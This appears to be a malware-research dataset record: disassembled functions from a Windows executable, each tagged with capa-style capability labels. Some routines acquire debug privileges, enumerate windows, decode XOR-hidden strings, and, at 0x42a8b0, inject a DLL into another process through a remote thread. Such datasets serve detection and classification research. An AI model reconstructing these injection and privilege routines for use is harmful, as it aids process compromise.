joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bc80
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x6d48e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40bcd9
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40bce1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40bcf6
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], 0
test esi, esi
jne 0x40bd0c
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
xor ecx, ebp
pop esi
call fcn.00598fe4
mov esp, ebp
pop ebp
ret
push 0x5cf598
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
call sub.MSVCR120.dll__CxxThrowException
int3
Function at 0x40c140
Capabilities:
Create thread
Terminate process

Disassembly:
push 0
push 0
push 0
push 0x40c170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40c5a0
Capabilities:
Create thread
Terminate process

Disassembly:
mov eax, dword [0x6e51d8]
cmp eax, 1
je 0x40c5ee
cmp eax, 4
je 0x40c5ee
push 0
cmp eax, 2
jne 0x40c5dc
push 0
push 0
push 0x40d010
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 3
jne 0x40c5ec
push 0
push 0
push 0x42ab80
jmp 0x40c5bf
jmp 0x40c5d6
push 0
push 0
push 0
push 0x40d090
jmp 0x40c5bf
Function at 0x40cf70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x5a8fd0
push ebx
mov ebx, dword [ebp - 4]
push edi
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x40cfd2
push esi
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
pop esi
je 0x40cfc9
sub edi, ecx
jmp 0x40cfb0
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x40cfb0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push edi
call fcn.0040c6a0
add esp, 4
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40cff0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x40c600
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x40da50
Capabilities:
Create thread
Terminate process

Disassembly:
mov eax, dword [0x6e51d8]
cmp eax, 1
je 0x40da9e
cmp eax, 4
je 0x40da9e
push 0
cmp eax, 2
jne 0x40da8c
push 0
push 0
push 0x40e330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 3
jne 0x40da9c
push 0
push 0
push 0x42ab80
jmp 0x40da6f
jmp 0x40da86
push 0
push 0
push 0
push 0x40e3b0
jmp 0x40da6f

Function at 0x40dab0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x40da10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x40e430
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x6d48e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x5a943c
push eax
mov dword [ebp - 0x40c], ecx
or ebx, 0xffffffff
call dword [sym.imp.MSVCR120.dll_fopen]
add esp, 8
mov dword [ebp - 0x408], eax
test eax, eax
jne 0x40e47d
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00598fe4
mov esp, ebp
pop ebp
ret 4
push esi
push edi
nop
push eax
push 0x400
lea eax, [ebp - 0x404]
push 1
push eax
call dword [sym.imp.MSVCR120.dll_fread]
mov edi, eax
lea esi, [ebp - 0x404]
add esp, 0x10
mov dword [ebp - 0x410], edi
mov edx, edi
test edi, edi
je 0x40e4cc
mov edi, dword [ebp - 0x40c]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [edi + ecx*4]
dec edx
jne 0x40e4b2
mov edi, dword [ebp - 0x410]
mov eax, dword [ebp - 0x408]
cmp edi, 0x400
je 0x40e480
push eax
call dword [sym.imp.MSVCR120.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 4
not ebx
xor ecx, ebp
mov eax, ebx
pop edi
pop esi
pop ebx
call fcn.00598fe4
mov esp, ebp
pop ebp
ret 4

Function at 0x40e500
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
push esi
push edi
push 0x400
mov edi, ecx
push 0
push edi
call sub.MSVCR120.dll_memset
add esp, 0xc
mov eax, 0x80
xor ebx, ebx
lea esp, [esp]
xor edx, edx
test bl, 1
cmovne edx, eax
mov eax, ebx
shr eax, 1
test al, 1
je 0x40e533
or edx, 0x40
shr eax, 1
test al, 1
je 0x40e53c
or edx, 0x20
shr eax, 1
test al, 1
je 0x40e545
or edx, 0x10
shr eax, 1
test al, 1
je 0x40e54e
or edx, 8
shr eax, 1
test al, 1
je 0x40e557
or edx, 4
shr eax, 1
test al, 1
je 0x40e560
or edx, 2
test al, 2
je 0x40e567
or edx, 1
shl edx, 0x18
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
xor esi, esi
mov dword [edi + ebx*4], edx
lea ecx, [esi + 0x1f]
lea ebx, [ebx]
test dl, 1
je 0x40e63e
mov eax, 1
shl eax, cl
or esi, eax
dec ecx
shr edx, 1
cmp ecx, 0xffffffff
jg 0x40e630
mov dword [edi + ebx*4], esi
mov eax, 0x80
inc ebx
cmp ebx, 0xff
jle 0x40e520
pop edi
pop esi
pop ebx
ret
Function at 0x4111e0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x6dc66c]
add eax, dword [0x6dc668]
add eax, dword [0x6dc664]
add eax, dword [0x6dc660]
add eax, dword [0x6dc65c]
add eax, dword [0x6dc658]
add eax, dword [0x6dc654]
add eax, dword [0x6dc650]
add eax, dword [0x6dc64c]
add eax, dword [0x6dc648]
add eax, dword [0x6dc644]
add eax, dword [0x6dc640]
add eax, dword [0x6dc63c]
add eax, dword [0x6dc638]
add eax, dword [0x6dc634]
add eax, dword [0x6dc630]
add eax, dword [0x6dc62c]
add eax, dword [0x6dc628]
add eax, dword [0x6dc624]
add eax, dword [0x6dc620]
add eax, dword [0x6dc61c]
add eax, dword [0x6dc618]
mov edx, dword [0x6dc670]
add eax, dword [0x6dc614]
inc edx
mov dword [0x6dc670], edx
cmp eax, dword [0x6dc608]
je 0x411287
cmp edx, 5
jg fcn.004113e0
jmp 0x411960
mov dword [0x6dc614], 0
mov dword [0x6dc618], 0
mov dword [0x6dc61c], 0
mov dword [0x6dc620], 0
mov dword [0x6dc624], 0
mov dword [0x6dc628], 0
mov dword [0x6dc62c], 0
mov dword [0x6dc630], 0
mov dword [0x6dc634], 0
mov dword [0x6dc638], 0
mov dword [0x6dc63c], 0
mov dword [0x6dc640], 0
mov dword [0x6dc644], 0
mov dword [0x6dc648], 0
mov dword [0x6dc64c], 0
mov dword [0x6dc650], 0
mov dword [0x6dc654], 0
mov dword [0x6dc658], 0
mov dword [0x6dc65c], 0
mov dword [0x6dc660], 0
mov dword [0x6dc664], 0
mov dword [0x6dc668], 0
mov dword [0x6dc66c], 0
ret

Function at 0x411380
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x411290
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x4113a0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x4112f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x411a50
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x411a70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x412e80
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x6d48e0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x412eb7
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00598fe4
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x412ea7
mov eax, dword [ebp - 0x20]
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x412ea7
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x412ea7
push 0
push 0
push 0
push 0x4126d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.00598fe4
mov esp, ebp
pop ebp
ret

Function at 0x412f40
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x412f60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x418bd0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x419430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x419480
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x41a0c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x41a110
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x41a230
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x41f0b0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x41f1f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x41f0d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20a00
call fcn.00599000
mov eax, dword [0x6d48e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor esi, esi
xor eax, eax
push esi
push esi
mov dword [ebp - 0x209fc], eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
je 0x41f1cd
push ebx
lea ebx, [ebp - 0x209f4]
lea esp, [esp]
push edi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
jne 0x41f1aa
lea eax, [ebp - 0x20a00]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x20a00]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
jne 0x41f1aa
mov eax, dword [ebp - 0x20a00]
mov dword [ebx], eax
lea eax, [ebx + 4]
push 0xff
push eax
push edi
mov dword [ebx - 4], edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xff
lea eax, [ebx + 0x103]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
inc dword [ebp - 0x209fc]
add ebx, 0x208
mov ecx, dword [ebp - 0x20a00]
xor eax, eax
test esi, esi
jle 0x41f19e
lea ebx, [ebx]
cmp ecx, dword [ebp + eax*4 - 0x400]
je 0x41f19e
inc eax
cmp eax, esi
jl 0x41f190
cmp eax, esi
jne 0x41f1aa
mov dword [ebp + esi*4 - 0x400], ecx
inc esi
push 2
push edi
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
test edi, edi
jne 0x41f110
mov eax, dword [ebp - 0x209fc]
pop ebx
test eax, eax
je 0x41f1cd
cmp esi, 1
jg 0x41f1e5
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00598fe4
mov esp, ebp
pop ebp
ret
call fcn.0041eb20
int3

Function at 0x41f330
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x41f350
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x421a10
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x4214d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x4222b0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x4229b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x422af0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x423120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x423160
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x423280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x423cb0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x6d48e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x6e51e8], 1
push ebx
push esi
push edi
jne 0x423d59
movzx eax, word [0x449081]
push eax
lea eax, [ebp - 0x10]
push 0x5addf0
push eax
call dword [sym.imp.MSVCR120.dll_sprintf]
mov dword [ebp - 0x14], 0x5adee8
add esp, 0xc
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x14]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x423d42
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x14], ecx
test esi, esi
je 0x423d39
sub edi, ecx
lea ecx, [ecx]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
cmp edx, dword [ebx + 0xf]
jb 0x423d20
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x30
push edi
lea eax, [ebp - 0x10]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x7361
cmp word [0x449081], ax
jne 0x423d7a
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00598fe4
mov esp, ebp
pop ebp
ret
call fcn.004238b0
int3

Function at 0x423e90
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x423d80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x423eb0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x42a140
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x42a420
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x6d48e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x6e51fc], 1
jne 0x42a449
push 0
push 0
push 0
push 0x42a890
jmp 0x42a4d0
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x42a470
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00598fe4
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x42a460
mov eax, dword [ebp - 0x20]
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x42a460
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x42a460
push 0
push 0
push 0
push 0x42a360
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.00598fe4
mov esp, ebp
pop ebp
ret
Function at 0x42a4f0
Capabilities:
Create thread
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59a58b
mov eax, dword fs:[0]
push eax
sub esp, 0xac
push ebx
push esi
push edi
mov eax, dword [0x6d48e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x6e51d4], 1
jne 0x42a64e
mov dword [ebp - 0x10], 0x5a8eb4
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42a582
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42a579
sub edi, ecx
jmp 0x42a560
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42a560
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0xb8]
call fcn.0040c3d0
mov dword [ebp - 0x10], 0x5ad6a8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x42a5f2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42a5e9
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42a5d0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xb8]
push edi
push eax
call fcn.0040ae60
push dword [0x6e5124]
lea eax, [ebp - 0xb8]
push eax
call fcn.0040ae60
add esp, 0x10
lea ecx, [ebp - 0xb4]
call fcn.00409ff0
test eax, eax
jne 0x42a63d
push eax
mov eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0xb8]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x58]
call fcn.0040c4e0
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [0x6e51d8]
cmp eax, 1
je 0x42a699
cmp eax, 3
je 0x42a699
cmp eax, 4
je 0x42a699
push 0
cmp eax, 2
jne 0x42a68f
push 0
push 0
push 0x42a790
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
test eax, eax
jne 0x42a689
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x42a810
jmp 0x42a672
Function at 0x42a8b0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x5aff90
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp + 0xc]
mov ecx, edi
mov dword [ebp - 4], eax
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a8e0
mov esi, dword [ebp + 8]
sub ecx, edx
push 4
push 0x3000
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, edi
mov ebx, eax
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x42a904
push 0
sub edx, eax
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebx
push dword [ebp - 4]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42aa40
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x42ba50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x42ba70
push 0
push 0
call esi
push 0
push 0
push 0
push 0x42b620
push 0
push 0
call esi
pop esi
ret
Function at 0x42c600
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x42c550
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x42c720
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x6e50f0], 0xb7
push ebx
push esi
push edi
jne 0x42c89f
mov eax, dword [0x6e51d8]
cmp eax, 1
jne 0x42c7b2
mov dword [ebp - 4], 0x5b02e0
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42c796
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x42c78d
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x42c774
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6e5154]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x42c82e
mov dword [ebp - 4], 0x5b0330
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42c812
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x42c809
sub edi, ecx
lea ebx, [ebx]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x42c7f0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6e5154]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], 0x5b02e0
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42c883
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x42c87a
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x42c861
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6e5154]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42cd20
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x42d530
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret